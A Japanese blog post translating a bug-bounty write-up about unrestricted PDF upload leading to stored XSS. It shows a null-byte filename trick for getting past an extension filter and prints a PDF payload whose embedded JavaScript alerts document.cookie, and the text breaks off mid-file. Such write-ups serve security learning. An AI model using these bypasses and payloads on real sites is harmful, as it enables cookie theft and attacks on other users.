Bragging Rights: Killing File Uploads softlyを訳してみた

Hello there, ('ω')ノ

自慢する権利：ファイルのアップロードをやさしく殺す

脆弱性：

　無制限のファイルアップロード

　保存されたXSS

記事：

　https://infosecwriteups.com/bragging-rights-killing-file-uploads-softly-fba35a4e485a

今回は、無制限のファイルアップロードの結果について。

週末にファイルのアップロードに丸一日を与えることを考え。

ファイルをアップロードできるSynackのすべてのプログラムを検索して。

https://www.synack.com/blog/?post_type=post&s=file+upload&category_name=0

f:id:ThisIsOne:20220404102243p:plain

４〜５個のプログラムを入手し、それらすべてをチェックすることに。

２つのプログラムでは、ファイルのアップロードがすでに報告されているため。

先に進むことができず。

残りの２つのターゲットはまったく新しいものであり。

ファイルのアップロードなどの報告は誰もなかったので、運が良くて。

それを使って何か奇妙なことができるかどうかを確かめるために。

機能をいじり始めて。

このウェブサイトはPDFのみを受け入れていたので。

Burp Suiteを使用してphpファイルをアップロードする従来の方法を試しましたが。

機能せずに、そこではPDF以外のものを受け入れておらず。

最初は、ファイルの名前をXSSペイロードに変更してファイルを。

アップグレードしようとしましたが動作せず。

PDF拡張子の付いたSVGファイルを使用できるとしたら動作するかを。

拡張機能にnull byteを追加して確認することに。

　prompt.SVG％00.pdf

すると、アプリはファイルを受け入れていて、アップロード後に。

誰でもアップロードされたものをダウンロードできて。

ファイルを開くとすぐに、XSSがポップアップして。

２番目のケースもまったく同じで、レセプトをアップロードして管理者が承認して。

同じ方法を適用しましたが、どういうわけかうまくいかず。

Googleに戻り、制限を回避できるリソースをさらに検索して。

悪意のあるコンテンツを含むPDFレシートをアップロードでき。

誰かがレポートを開いたときにペイロードが実行されることを確認できて。

https://github.com/swisskyrepo/PayloadsAllTheThings

f:id:ThisIsOne:20220404083602p:plain

PDFにJavaScriptを挿入する方法は、下記が全体の内容で。

%PDF-1.3
%âãÏÓ
1 0 obj
<</Pages 2 0 R /Type /Catalog>>
endobj
2 0 obj
<</Count 1 /Kids [3 0 R] /Type /Pages>>
endobj
3 0 obj
<</AA
<</O
<</JS
(
try {
app.alert\(document.cookie\)
} catch \(e\) {
app.alert\(e.message\);
}
)
/S /JavaScript>>>>
/Annots [] /Contents 4 0 R /MediaBox [0 0 612 792] /Parent 2 0 R
/Resources
<</Font <</F1 <</BaseFont /Helvetica /Subtype /Type1 /Type /Font>>>>>>
/Type /Page>>
endobj
4 0 obj
<</Length 21>>
stream